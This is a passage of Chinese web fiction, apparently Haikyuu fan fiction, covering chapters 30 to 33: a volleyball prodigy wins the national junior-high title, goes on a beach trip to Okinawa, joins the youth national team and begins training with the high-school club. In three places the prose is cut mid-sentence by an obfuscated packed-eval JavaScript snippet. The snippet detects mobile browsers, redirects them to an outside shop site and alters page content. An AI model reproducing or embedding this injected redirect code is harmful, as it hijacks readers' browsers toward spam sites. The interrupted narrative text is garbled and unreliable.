都是为了凛音而来的，可以预想，宫城县未来几年的女排好苗子都要被白鸟泽吸走了…… 这五个特招生都是凛音她们认识的，当年小学时一起参加过集训。 川田幸是主攻位置，蓝彩良和江守未铃是打副攻的，桥场心美是打接应的，白真莉是自由人。 可惜，还是没有二传，唉，下一届的二传问题要怎么解决呢，果然长得稍微高一点的都去当攻手了吗？ 凛音去年就已经让黑川凪培养二年级里面的二传手了，有一个二传的好苗子，估计等到她们毕业时就能独当一面了。 这学年又重新分了班，凛音仍然和黑川凪在一个班，她感觉有点不对劲，这运气也太好了吧，川西太一也和她在一个班，女排的其他人还是没和她分在一个班。 凛音还是和去年一样，女排男排两头跑。相较于去年，她的各项数值都有所增长，尤其是身高到了一米八，力量上也正式到了5。女生发育得一般比男生快，如今她感觉国中的男排强度也有点跟不上她了。 男排一下子少了一批她所熟悉的人，让她觉得有点难过，川西太一成了队伍里最重要的副攻，拦网体系的核心，五色也终于成了队伍里面的绝对王牌。 30.夺冠 女排训练了两个月，马上要开始全中的预选赛了，教练组因为人选问题陷入了甜蜜的烦恼。 凛音一年级时，教练组也为了选人而烦恼，但二三年级确实没有几个能上，才放了四个一年级。 而现在，凛音三年级了，一二三年级能上赛场的人太多了，不知道要选谁，最终，尽管这一届一年级天才多，但仍然没有上场机会，因为太矮了。这是白鸟泽最有希望拿冠军的一届，教练组不会冒险让一年级上场的。 这次的县预选赛上，凛音带队，毫无悬念地拿到了冠军。 现在，全国国中都在盯着宫城县的预选赛看，绝望地发现凛音的数值又暴涨了，身高一米八，力量5的主攻手，还有绝佳的进攻接球技巧，这在国中的女排已经无人能敌了，这简直就是天生神力，哪怕是在男排，也是超级高水平的主攻了，参考牛岛若利。 暑假，大家怀抱着必胜的信念，踏上了东京的体育馆，一路轰碎了所有队伍的防御体系，成功夺冠。 凛音拿到奖牌的那一刻，整个体育馆都沸腾了，所有人都相信她代表着日本女排的未来，相信她是将来的传奇。 整个白鸟泽也都沸腾了，这绝对是白鸟泽女排新的巅峰。 这一战后，哪怕在男排，凛音都有一定的名气了。 不过就算拿了冠军，暑假还是只放一星期…… 今年假期，凛音没有和爸爸妈妈出去旅游，先是去了爷爷家，和家人一块吃饭，庆祝她终于拿到了冠军。 家里人都很为凛音感到骄傲，他们乌养家出了这么一个排球天才，虽然她的乌鸦血统并不纯粹，她是个白色的乌鸦。 但是她爷爷一向是个思想前卫的老头子，没那么在意她究竟是乌鸦派还是天鹅派。 凛音现在更想吐槽的是她哥，染了个黄毛，还戴了耳钉，凛音怕他被爷爷打，偷偷问他最近是不是流行“不良”风格。 系心尴尬地摸了摸鼻子，含含糊糊地没给个明确的解释，他染发也就算了，不能让还没上高中的小妹妹也学他…… 凛音秒懂，但不以为然，她上辈子上大学的时候红毛蓝毛黄毛绿毛什么都染过，只是还没在身上打过洞。 提到发色问题，她有一瞬间的茫然，上辈子他们东亚有那么多天生的白毛、橘毛、红毛吗？ 但这个念头很快就消失了，天生的白毛不是很正常吗，她和妈妈的家族就是天生白毛啊。 从爷爷那里离开后，爸爸妈妈又带她去了外公外婆那里，刚好舅舅前段时间找到了女朋友，外公外婆很高兴。 舅舅今年已经三十五了，终于在去年去中国出差的时候偶遇了一家公司的女高管，那位女高管因为事业一直以来也没有结婚，现在也已经三十四岁了，两人也不知道怎么的看对眼了，就谈上了。 外公外婆对儿媳妇早就没要求了，只要是个女的就行，如果要是个男的可能还要考虑几天。 但怎么说呢，毕竟是跨国恋，谁去谁的国家还是个问题。凛音刚这么想着，外婆就高兴的告诉他们，舅舅女朋友公司最近开始规划建立日本分部，老板一听说她谈了个日本财团继承人的男朋友直接给她派日本当分部CEO了，现在两人已经计划要结婚了。 额，好吧，凛音想多了。 凛音其实是不太在意外公外婆怎么看她的排球成绩，毕竟她五六岁时，能自己吃饭自己穿衣服就被外婆夸出花来了…… 这个冠军一拿，她在外公外婆嘴里都快成世界第一了…… 虽说不在意，但从外婆家回来，凛音还是超级开心。 可惜牛岛若利他们这几天要去东京参加IH，没办法见到了，他们都给凛音发来了祝贺消息。 趁着还有两天假期结束，凛音邀请了女排主要成员来她家开趴体，其实也就是个小型聚会。 因为人有点多，所以凛音没有做饭，而是在家里吃了一顿火锅，食材锅底都是从火锅店买的。 好好吃……大家幸福地想着。 趴体办完就该去学校练球了，另一边若利他们的比赛凛音也一直在看直播，可惜止步八强。 等他们回来时，凛音有邀请他们到家里玩一下午，她来做晚饭，刚好再安利一次中餐。 来的有牛岛、濑见、山形、大平、川西和五色，和上次一样。 男排刚输了比赛，这次就没有聚在一起看排球录像了，大家在凛音房间的地上各自做着自己喜欢的事。 大平和山形一起看电影，牛岛若利在看书，五色和川西在打电动，凛音和濑见在给他们伴奏…… 最后，川西打电动一直在赢五色，把五色打得快哭了…… 凛音无奈放下她的贝斯，过来安慰两句：“好了，阿工，不要哭，打不过就是你还不够强啊，菜就多练。” 这下五色直接哭了出来…… 山形拍拍五色的肩膀无声地安慰他，不赞同地看了凛音一眼。 “阿工，你知道为什么排球是圆的吗？” 濑见瞳孔一缩，山形他又要…… “因为它滚来滚去的样子就像阿工被打的找不到北的心情。” “哈哈哈哈哈”凛音笑了出来，隼人的冷笑话真的是在安慰吗？ 五色暂停下来思考了一会，然后哭得又大声了一点。 “阿工，别哭了，让我来。”凛音抢过五色的手柄，霸占了五色的位置，开始和川西太一打了起来。 凛音的游戏水平还不错，很快打败了川西太一。 “切。”太喵不悦，嘟嘟嘴。 濑见不信邪，抢过了川西的手柄，来挑战凛音，然后又输了。 下一个挑战者是隼人，输。 再下一个是大平，输。 只剩下一个牛岛若利，还在安静地看书呢。 “若利，要来挑战一下凛音吗？”作为牛若的左膀右臂，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830601|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平邀请道。 “不想来。”若利无情拒绝。 “哈哈，若利的水平还不如阿工呢。”凛音无情嘲笑。 这下，五色工终于感觉自己被安慰到了，露出了由衷的笑容。 这次大家吸取了上回的教训，没有待的太晚，早早地吃完饭就走了。 很快，今年的暑假又要结束了，凛音补完作业刚好开学。 然后又是文化祭和研学。 今年文化祭又双叒叕搞咖啡厅，不过加了几个性转女仆，三男三女穿女仆装，凛音一下子兴奋起来了，就算要她穿女仆装她也一定要把川西太一拉下水。 最终，凛音、黑川凪和川西太一三人全部入选。 哇哈哈哈哈哈哈哈！ 凛音得意叉腰。 文化祭前一天，六个人开始试衣服。凛音早就对女仆装免疫了，反正只要她不觉得尴尬就没人觉得尴尬。 黑川凪穿女仆装也很好看，只不过她看起来不太喜欢的样子，脸都比平时更冷了一点。 然后是川西太一穿着女仆装出来了，全班哈哈大笑，这只猫难得露出了局促的表情。 凛音早有准备，掏出了相机，对着川西太一就是一顿卡嚓卡嚓，嚣张的都贴到他脸上了。 川西忍无可忍，一把抢过相机，删除。 “笨蛋，我有丰富的防删除经验，早就锁定了，你删不掉的。”别问经验怎么来的，还得感谢她老爸。 川西不语，只是幽幽地盯着她看，那凛音更不可能有什么反应了。 “你也不是只认识我一天了，怎么会以为盯着我看就会让我良心发现？”凛音奇怪地问，“好了，别这样盯着我，来，盯着镜头。” “……” 性转女仆在这个时代还是太超前了，很多人特意跑过来看，关注凛音的都少了很多，女神哪有女装大佬好看。 川西太一毕竟还是个国中生，没有凛音那么厚的脸皮，脸一直红红的。 凛音都不忍心了，提醒川西太一不要想那么多，只要自己不觉得尴尬，那么尴尬的就是别人。 川西一想，觉得很有道理，渐渐地就麻木了，已经能做到冷着脸淡定地端咖啡了。 被所有学生都期待着的文化祭很快就过去了，接下来就是研学旅行了。 这次凛音都懒得出国了，除了中国其他都挺麻烦的，她和黑川凪一起报了日本的冲绳，可以去海滩游泳。恰好，川西太一和五色工也报了冲绳。 周末，凛音和黑川凪一起出门买泳衣，反正她们俩个天天锻炼，身材比较好，买什么泳衣都无所谓，方便岸上运动和水里游泳就行。 凛音拿了两套运动比基尼，一套运动连体，三套休闲的粉粉嫩嫩的裙装泳衣，她本人倒是对裸露一些身体部位不太在意。 黑川凪和凛音拿的也差不多。 很快大家都收拾好东西，坐上了学校的大巴前往机场。 31.海滩 冲绳并不只有海滩，老师还要带着他们参观当地的文化景观和自然景观，然后才是万众瞩目的海滩环节。 凛音和川西、五色约好了一起打沙排，当然还有黑川凪。 凛音和黑川凪换上了之前买的运动比基尼，从更衣室出来。 凛音很自然地打量了五色和川西一番。 “阿工果然还是小孩子，身材还要再练练，太喵的身材竟然意外的不错。”凛音手摸着下巴点评道。 而五色已经听不进去了，看到穿着泳装、身材超级好的前辈，他的大脑“轰”地一声直接空白，脸瞬间红到耳根，眼神不知道该往哪里放。 他结结巴巴地找借口：“凛…凛音前辈！我、我去买饮料！” 然后同手同脚地快速逃离现场。 跑开后，他的脑子好像才接收到凛音的话，突然握紧拳头，莫名其妙地燃起斗志：“不愧是凛音前辈！我会好好锻炼的！身材绝对不会输给前辈！” 过了一会，他好像又反应过来自己说了什么蠢话，走得更快了。 凛音扶额。 而川西一看见凛音就猛地愣住一下，然后立刻、非常不自然地扭开头，假装被远处的海鸥或者沙滩排球比赛吸引，耳朵尖却不受控制地变红。 他看着就这么跑掉的五色，略带嫌弃地吐槽：“……笨蛋工，反应太夸张了。” 但他自己听了凛音的话以后脸也更红了。 “真的夸张吗？那太一怎么不看我，我不信你两眼空空~”凛音恶趣味地凑到太一面前彰显自己的存在感。 川西下意识地退后半步，头微微抬起，看向她头顶的天空，就是不和她对视。 两人僵持了一小会，太一无奈地“啧”了一声，用着平静却带着一丝无奈的语气说道：“太阳太耀眼了……”不敢直视。 “哎哟，挺有文化啊，还会双关。”凛音很满意，又退了回去，“好了，放过你了，来打排球吧。” 凛音搂着黑川凪的胳膊走了。 他们在原地等了一会五色工，见他匆匆忙忙带了一堆饮料，赶紧过去帮他拿。 “怎么买了这么多？”凛音奇怪地问一句。 “我…我忘记问你们想喝什么了。”五色挠挠头。 “唉，我还喊你来着，你头也不回地走了。不过我们五色真聪明，不知道喜好就全买了。”凛音夸了夸这个后辈。 五色闻言眼睛立刻亮了起来，开始摇起了尾巴。 “别太溺爱他了。”川西不悦。 他们把水放好，开始分组打球，凛音和黑川凪一队，川西和五色一组。 他们以前都没有打过沙排，只知道规则，打的时候基本就是按照室内排球玩的。 沙排毕竟只有两个人，要求两人足够全能，黑川凪的进攻不是很好，其他方面很顶级，传球尤其好，凛音的各方面都很顶级，只有速度和弹跳稍微差点。 而且沙排因为场地原因，跑动会更费力，对核心力量和下肢力量要求会更高，而凛音只练习了上肢力量，下肢力量一般，而黑川凪倒是都练过，她的下肢力量一定程度上优于凛音。 排球本来就是个相互得分的项目，凛音的球对面很难接到，只有太一偶尔会通过拦网拦下来。 而五色的进攻在凛音这个国中女排第一攻手看来，还略显稚嫩，她大概能够猜到球的线路，凭借卓越的反应能够接到一些，倒是川西太一的进攻让她有点头疼。 第一局，凛音的拿分能力更强一点，赢下了比赛。 但是她不太耐热，而且对沙排的体力消耗有所误判，第一局她已经消耗了太多的体力，按照第一局的激烈程度来看，可能会影响第二局的发挥。她和黑川凪交流了一下，放弃第二局，回复体力，同时尽力消耗对手的体力。 趁着场间，凛音确实很热了，她直接跳到海里泡一下降降温，皮肤上的水蒸发干之前，可以持续地带走一些热量，唯一的问题就是泡海水其实挺不好受的，粘沙子，还很伤头发。 凛音很快湿漉漉地上岸了，第二局开始了。 女队没有明显地放水，表现出一副体力不支拼命接球的样子，偶尔还扣球拿了几分。 川西已经看出来凛音的策略，想恢复体力的同时消耗他们的体力，然后全力打第三局嘛，但川西也不能不上当，毕竟这一局不拿下他们就要输了。只是默默告诉五色节约一点体力，对面不会全力防守的。 凛音看到对面的进攻强度也变弱时，笑了笑，和黑川凪对视一眼，黑川秒懂，能接的球就接，耗体力的球就不接了，而在她们有进攻机会时要找好扣球角度，让对手多跑动起来。 果然，第二局她们输得很快，但凛音的体力总得来说还是回复的，能看出来川西和五色连争两局体力确实消耗的有点大，不过男生在体能上天生比女生要好一些，第三局还不好说。 第三局女队开始用脑了，如何在抓住进攻机会时尽可能消耗对手体力。 但同时，对手还是比较有风度的，没好意思利用女生的体能劣势，因而在体能相当的情况下，第一局已经告诉我们答案了，当然是女队赢了。 五色有点不服气，川西表面不显，但心里也很不爽。 凛音和五色毕竟不在一个赛场上，所以他对凛音注定不会像对待牛岛那样忸怩，既想要超越他，也想要得到他的认可。他对待凛音这个怪物前辈更多还是渴望认可与倾慕多过超越。所以他可以自然地请教凛音，却做不到自然地请教牛岛，他会以挑衅的态度吸引牛岛的注意，但确会以更加温和的方式吸引凛音的注意。 凛音拿过录像机，开始放录像，一边放一边耐心地告诉五色她是怎么猜到他的进攻意图的，说实话，五色非常擅长直线球，她很容易就猜出来了。 “你可以试着练练别的线路，不然你一扣球别人就知道怎么防了。但要记住，你最擅长的是直线球，这是你的基本盘，不能丢。” “那学姐最擅长什么球呢？”五色好奇地问她。 “所有球。” “……” 凛音笑了一会，告诉他：“不过我的基本盘是小斜线啦，这是我最早着重练习的扣球路线，也是最让我有安全感的线路。” 唉，就因为这个，当初她才被千叶丽嘉骗了嘛。 她难得对五色如此温柔，拍了拍他的肩膀，鼓励到：“我们阿工是白鸟泽国中的王牌，未来也会成为高中部的王牌，还是所有前辈们都喜爱的后辈哦。” 五色的眼睛里燃起了名为斗志的火焰。 “你真的会宠坏他的。”川西无奈。 “太喵你就不要傲娇了嘛，不要让我点破你。”真是的，你自己不也在宠他吗？ 谁能不宠爱五色工呢？ 太一撇嘴，没有否认。 “好了，我要去游泳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836222|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，热死了。”凛音脱掉了防晒的薄外套，展现了自己完美的身材。 川西太一骤然看到这一幕，脸又爆红，去放水的地方拿瓶水，再转头凛音已经在海里了，他松了口气，抬手摸了摸自己跳得飞快的心脏，感觉有点茫然。一抬头，刚好对上了黑川凪有些冰冷的目光，她深深看了川西一眼，转身离开了。 川西坐在椅子上一边喝水一边发呆，不知道在想什么。 他看了一眼旁边的五色，还傻笑着沉浸在刚刚前辈的鼓励中，唉。 川西一个人坐在阴凉处，看着海里的那个人影，心里泛起一丝异样的情绪，让他感觉有点陌生，有点慌乱，想要逃离，又忍不住靠近。 凛音游上岸，环顾四周，黑川凪还在水里，五色工坐在太阳底下不知道傻笑什么，川西太一坐在阴凉处发呆。 她有些疑惑，这个大坏猫平时只对吃的和看乐子感兴趣，这是在想什么呢。 凛音悄咪咪地走到他旁边，蹲下来，伸出邪恶的爪子，戳了戳他的肩膀。 都是反应超快的体育生，川西瞬间伸出手，想要抓住她的手，凛音立刻回缩，不可能让他抓到的。 “嘁。”川西太一撇撇嘴。 凛音在他旁边坐下来，好奇地问他：“你在想什么呢，我都走到你旁边了，你怎么都没发现。” “没什么。” 太一不愿意说，她当然不会追问了。 “太一以后想继续打排球吗？”这种时候很适合问问这些问题。 “高中会打，以后我也不知道自己想做什么，上大学再走一步看一步吧。”川西是个自由的猫猫，对自己的未来也没有明确规划，“你以后肯定会去打职业吧。” “嗯，当然，我从小就知道自己的梦想是去打排球职业，我喜欢打排球的感觉，喜欢不断进步的感觉。” “你会留在日本吗？” “应该不会，日本的女排联赛不是最好的，我可能会在V联赛打一段时间，看看能不能去意大利或者土耳其。” 川西太一沉默了。 “我想我会在28岁就退役吧，给自己留一副没那么多毛病的身体，然后回到日本继承家产，再生个孩子继承家产。”这是凛音的美好展望了。 “嗯。”太一双手抱膝，大半张脸都被腿遮盖住了。 “你是被晒中暑了吗？怎么有点蔫蔫的？” 川西太一没有回答，他不知道要回答什么，也不想说话。 凛音见他不说话，有点担心，摸了摸他的脑门，看起来挺正常的呀。 “去更衣室冲个澡吧，外面确实挺热的，我也要去一下，身上都是海水的味道。” “嗯。”川西太一起身，去冲澡。 他感受着冷水淋在身上的冰凉感，却怎么也无法压过心中那股酸涩。 他竟然被一道耀眼的光所吸引了，在这道光芒旁边，人会自然地出现一个影子，太一的心里无法抑制地出现了一丝自卑，这一丝自卑像一根刺一样一直在刺痛他的心，让他觉得“我配不上她”，让他忍不住落下了两滴眼泪，不过这眼泪被冲下来的冷水所掩盖。 他忍着痛把这根刺拔了出来，他已经有点分不清脸上的水是眼泪还是什么，只觉得心里好受了一点，但还是酸酸涩涩的。 川西太一平复了心情，整理好了仪容，从更衣室走了出去，又恢复了往常的样子。 32.15岁进国青队 凛音去冲了个澡，把头发好好洗了一番，然后用浴巾擦干身子，补个防晒，穿上外套，坐在遮阳伞下等黑川凪游完泳。 这家伙就喜欢在水里待着，凛音心想，自己估计还要再等一会了。 另一边，她发现川西太一也好久没出来了，不会死在里面了吧？ 她正思考着，就遇到两个和他哥一样打扮的男性过来搭讪。 “美女，一个人吗？有兴趣和我们一起吃个饭吗？” 人果然是双标的，一样的打扮，她不觉得她哥是什么不良少年，但她觉得眼前这两个黄毛还戴耳钉的家伙肯定不是什么好人。 凛音从椅子上站了起来，俯视这两个搭讪的男子，嘲讽地笑了一声，是一个一米八的人对两个一米六几的人的嘲讽。 …… 两个男子脸黑了一下，转身就走，身后又传来一声嗤笑。 …… 川西太一从更衣室出来刚好看见了这一幕，当他看见凛音被两人搭讪时，心里有点焦急，赶紧跑过去帮忙。 然后就看见凛音一站起来高那两人一个头，直接把两个人吓跑了…… 川西放下心来，停下来脚步，又觉得有点无语。 “刚刚怎么了？”川西还是问了一嘴。 “哦，有两个sb来搭讪，被我的万丈光芒闪到了眼睛，于是自惭形秽地离开了。” “……我就不该多嘴的。” 凛音又在椅子上躺了一会，终于等来了黑川凪。 两人去周围的饭店吃海鲜，来到沿海城市怎么能不吃海鲜呢？ 虽然她吃不惯很多日料，但刺身类的日料是凛音非常非常非常喜欢的。 一个中午，凛音吃了整整3斤刺身，店员都来劝她少吃点，吃多了可能会肠胃不适的。 幸好她的身体各方面都很不错，肠胃也是铁打的，不过一次摄入太多脂肪，还是让她感觉肠胃不是很舒服，胃胀的很难受，下午的活动她都请假去医院了，医生说没什么事，还不需要用药，只是需要禁食6小时看看，不要躺着，喝点山楂水之类的促进消化的东西，还要时不时揉揉腹部。 从医院回来后，凛音缩在阴凉的角落里看着大家活动。 “你这是怎么了？生病了？”川西看着平日里活蹦乱跳现在萎靡不振的她有点担心。 “中午吃了三斤刺身，好难受……”凛音可怜地说。 “……活该。”川西一面无语极了，一面看到她难受的样子有点心疼，“去医院了吗？” “去了，医生说没什么事，就是要难受一段时间。” 然后凛音的电话铃声响了，她一看手机，是她妈妈。 “喂，妈妈…” “你今天中午怎么一下子花了这么多钱，是出了什么事吗？”凛音用的是她妈的卡，中午吃太多了，刺身本来就不便宜，妈妈觉得有点不对劲，就打了电话来问问。 “我不小心吃多了……” “嗯？你吃了多少？” “三斤刺身…”凛音有点害怕的说。 妈妈在电话的那头发出尖锐爆鸣声…… 不过妈妈倒是也没有骂她，只是表示了担心，但当凛音可怜兮兮地对她说“妈妈，我好难受”时，她难得铁石心肠地说了句“活该”。 看着凛音在电话里和妈妈撒娇打滚的样子，川西觉得很新奇，不自觉地就开始盯着她看。 看了一会，他感觉到有人过来了，是黑川凪，她没什么表情地看了川西一眼，坐在了凛音的另一边，等她打完电话。 “喏，山楂水。”黑川把弄好的山楂水递给了她。 凛音打完电话收起手机，接过黑川凪递来的山楂水，小口小口地嘬着，她现在连水都不能喝多。 “幸好还有你在啊，不过凪，你还是跟着大家去活动吧。” 黑川凪点了点头，回归大部队，走之前意味深长地看了川西两眼。 “太一，你不去参加活动吗？” “太累了，不想去。” “哦～是节能懒猫啊。” “嘁。”太一撇撇嘴。 川西太一就坐在这里和凛音聊天，一直聊到凛音都不知道该说什么了。 她只好从包里掏出她的大屏DSi。 “玩马里奥吗？一人一条命。” “好啊，不过你怎么不早点拿出来。” “嗯？你就这么不想和我聊天吗？”凛音当然不会承认是她忘了。 “你是忘了吧。”川西太一注意到了她心虚的眼神。 “怎么可能？快来玩吧。” 太一是怎么知道的？真奇怪，她的表情一直没变啊。 川西太一看见了她疑惑的眼神，在心里笑了，但什么也没有说。 川西的游戏其实玩得还不错，他那里也有不少游戏机，不过他打游戏的时间是完全比不上凛音的，毕竟这家伙上课也在打游戏。 凛音非常满意，她的游戏打得比太一要好。 两人打游戏打到天色开始变暗，黑川凪找了过来。 凛音见到她来了，收拾东西和川西告别，搂着黑川凪的胳膊走了。 “听说玲奈和二班的古田交往了。”黑川凪不经意地提到。 “啊？真的？唉，现在的孩子啊。”凛音心想日本国中生还挺早熟，这么早就谈恋爱了。 “凛音没有喜欢的人吗？” “当然没有了。”凛音有点茫然，她才不会喜欢初中小孩呢。 “哦~”黑川凪笑了，她就知道凛音还没开窍。 她怀疑川西喜欢凛音，今天给他们留了一个单独相处的时间。如果凛音也喜欢川西那正好；如果凛音还没开窍，那也很好，川西痛苦的神态肯定很有趣。 总之就是立体防御。 “对了，凪，我一直想问你来着，你现在打排球是为了什么呢？为了我还是为了打排球本身，或者是为了赢？”这是凛音一直在关心的问题，她不愿意让黑川凪太过于依赖她。 “我不知道，打排球似乎已经成了我生活的一部分了。” “如果我现在不打排球了，那么你还会继续打吗？” 黑川凪沉默了，她想过好多次这个问题，她开始打排球是因为凛音，选择打二传也是因为凛音，如果凛音不打了，那么她继续打排球还有意义吗？那么她为了排球付出的那么多心血还有意义吗？ “我想我会的吧。” 黑川凪笑了，或许当凛音第一次在她面前提到排球时，她就已经开始爱上排球了。 “那么你还想打二传吗？” “当然，我喜欢把对手玩弄于股掌之间的感觉。”黑川凪露出邪恶的笑容。 “……行吧。那我就放心了。” 想想也是，就算是为了她打的排球，这么多年这么多练习，也该爱上排球了。 看来凪自己也想过这个问题，所以才能回答这么快。 两人回酒店吃饭，凛音看着黑川凪吃，她快看哭了，让她吃一口吧…… 黑川凪知道凛音很想吃，对此，她的回答是：“你想都不要想。” 呜呜呜呜呜…… 这次的冲绳之旅还是很开心的，但写报告就不开心了，她和黑川凪两人组队，因为黑川凪要搞摄影集，所以报告只有她一个人写了，好累…… 而且，研学一结束，马上就是春中的县预选赛，就在十一月底。 县预选赛上场的主要就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839726|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是二队成员了，和外面打得有来有回的，一直到四强赛，首发阵容才开始上场，最终也是没有意外地拿下了宫城县冠军。 十二月份，教练宣布了一个喜讯：乌养凛音被邀请进入国青队集训了。 是目前为止，日本罕见地的国中阶段就能够参加的选手。 另一边，牛岛若利也被邀请参加了集训。 但坏消息是，集训时间和春中冲突了，倒是和春高不冲突。 如果凛音选择参加集训，那么她就无法参加最后一次春中全国大赛了。 这对凛音来说是根本不需要思考的事，比起参加比赛肯定是参加集训变强的可能更大嘛，她果断放弃比赛选择集训。 教练也完全支持她的做法，那么今年的阵容就要思考一下了，少了一个凛音进攻的压力瞬间增大，她们没有人进攻能力能补上凛音的空缺，但这次比赛也不是完全没有胜算，该让世界看到凛音光芒之下的白鸟泽的天才们了。 她们有天才二传，天才自由人，天才副攻，都是追随凛音而来到白鸟泽的，就算没有凛音，她们依旧是一只强队。 凛音和若利一起前往东京，不过他们两个集训的地方完全不在一块，一起走了一段两人就分开了。 参加集训的全是高一和高二年级的，只有她一个国中生，大家基本也都是在全国赛场见过面甚至交过手的，比如千叶丽嘉也来了。 她们两个在这种情况下见面倒是没有剑拔弩张，反而比较友好地打招呼，高二的千叶丽嘉现在已经188cm了，从身体条件到打球天赋都挑不出毛病，头脑也很出色。 大家彼此打了招呼，一共三十人出头，只有两个二传，两个自由人，剩下全是各种类型的主攻副攻接应。 她们还有位置轮换训练，凛音试着打了二传，勉强能打吧，和队里那两个二传出身的差了十万八千里。 接着，她在主攻和强力接应里面轮着尝试，两个打得都很好，只是国中比赛时能接一传的自然是越多越好，她的接球能力也同样非常出色，加上队伍里有保姆接应，所以她被安排成了强力主攻。 在这次集训中，凛音的进攻能力令所有人都十分震惊，远超同龄人的进攻技巧，现役日本女排顶端的力量，一米八的身高，直接当场被招入了国青队，从此她的队服上可以加上Japan，她绝对是年龄最小的国青队选手了。 另外一边，白鸟泽的比赛也拿到了亚军，因为缺少了凛音的强攻能力，没有夺冠，但白鸟泽也证明了，就算没有凛音，白鸟泽也是一个强者如云的地方。 集训回来后，国青队教练提醒凛音，她要多练习下肢力量，她的摸高只有两米九出头，不利于后排进攻，至少要练到三米多。 凛音有点苦恼，她早就知道自己的弹跳能力一般，练得也比较少，但现在不能不练了。 回到学校后，凛音作为部长要交代后事，尽管她不会放弃训练去搞升学，但白鸟泽教练认为国中男排的训练强度已经跟不上她了，直接让她去高中部的男排训练，都已经沟通好了。 学妹们哭得稀里哗啦的，就连凛音眼睛也红了起来。 “好了，不要太难过了，希望过两年在白鸟泽的高中部再见到你们。” 她们白鸟泽国中部的离别氛围相对来说不太浓厚，毕竟大部分都升入白鸟泽高中部，以后还在一个学校嘛，甚至高中部离中学部就不是很远，凛音现在要去高中部的场地训练也只要走二十分钟。 大家一起聚餐，饭桌上学妹们又哭了起来，整个聚餐的氛围再次悲情起来。 三年级大家初步退部，准备升学。 只有凛音毫无压力，她还是上课不听，从不学习，甚至她还去高中部训练。 33.高中部的新成员 第三学期，凛音开始去高中部男排部练球了，也就是说又可以和牛岛若利他们一起打球了。 凛音开开心心地跑到高中部的活动场地，和牛岛他们打招呼。 在她和牛岛谈话时，有注意到一个红头发的男孩好奇地看着她。 凛音也对他很好奇，就大方地上前去打了个招呼：“你好啊，我叫乌养凛音，这学期会在这里练球，请多多关照。” 那个男孩歪着头，像观察什么新奇生物一样上下打量着凛音，眼睛里闪烁着毫不掩饰的好奇和玩味。 “哦呀——？你就是那个传说中的‘白色小乌鸦’呀~我从若利君那里听说了好多好多哦！我是天童觉，请多指教~” ？？？ 白色小乌鸦的外号是怎么传出去的？ 濑见英太！你个混蛋！ “听说你的扣球，连若利君都觉得很厉害？真~的~吗？好想亲眼看看呀！不如现在就来打一球试试看？猜猜看我会不会拦住你呢~” “哦？好啊好啊好啊。” 不过他们还没来得及做什么，鹫匠教练就来到了场地。 濑见偷偷给她介绍鹫匠教练，说这是一个很严厉的老头子。 鹫匠的身形并不高大，但当他推开体育馆的门走进来时，一种无形的沉重气压瞬间笼罩了整个场地。所有正在活动的部员，无论是闲聊的、热身的、还是练习的，都迅速地挺直脊背，目光专注地望向前方。 他穿着一身熨帖的运动服，银灰色的头发梳得一丝不苟，脸上深刻的皱纹像是用刻刀凿出来的一般。他没有立刻说话，只是背着手，用那双鹰隼般锐利的眼睛缓缓扫过全场，每一个被他视线触及的人都不自觉地绷紧了肌肉。 最终，他的目光落在了场地中央那两个还没来得及散开的身影上，准确地说是落在了乌养凛音身上。 那目光不像天童觉那样充满好奇，而是一种冰冷的审视。 短暂的死寂后，鹫匠教练迈开步子，手杖敲击着木质地板，发出“叩、叩”的声响，不紧不慢，却每一步都像踩在人的心跳上。他在距离凛音几步远的地方停下，微微仰头，眼神里的审视意味更浓了。 “你，”他的声音低沉而沙哑，带着不容置疑的权威，“就是乌养凛音。” 这不是询问，而是确认。 凛音第一次见到过这样的教练，挺直腰板，用最标准的姿态微微鞠躬：“是，鹫匠教练！我是乌养凛音，从今天起将在高中部进行训练，请您……” “乌养一系的孙女。”鹫匠教练打断了她礼节性的问候，直接点明了那个他显然更在意的身份。他的嘴角似乎向下撇了撇。 “那个满脑子‘快乐排球’、‘小个子也能飞翔’的老家伙……哼。” 他鼻子里发出一声意味不明的轻哼，听不出是嘲讽还是别的什么。随即，他话锋一转，眼神更加锐利。 “我不管你在国中拿过多少冠军，是不是国青队的，也不管别人叫你什么‘女武神’。”他的目光毫不客气地扫过凛音全身，尤其在肩臂和腿部停留了片刻，“在我的场地，简单的强大才是真理，花里胡哨的小聪明，在这里行不通。” “是！”凛音坦然迎上他的目光。 鹫匠教练盯着她看了几秒，似乎对她没有露出怯懦或不服气的表情感到一丝……算是满意？他的表情没有丝毫缓和。 “听说你的接球基础很好。”他忽然说道，然后毫无预兆地转向牛岛若利，“牛岛，去发球区，对准她的位置，发十个球。” 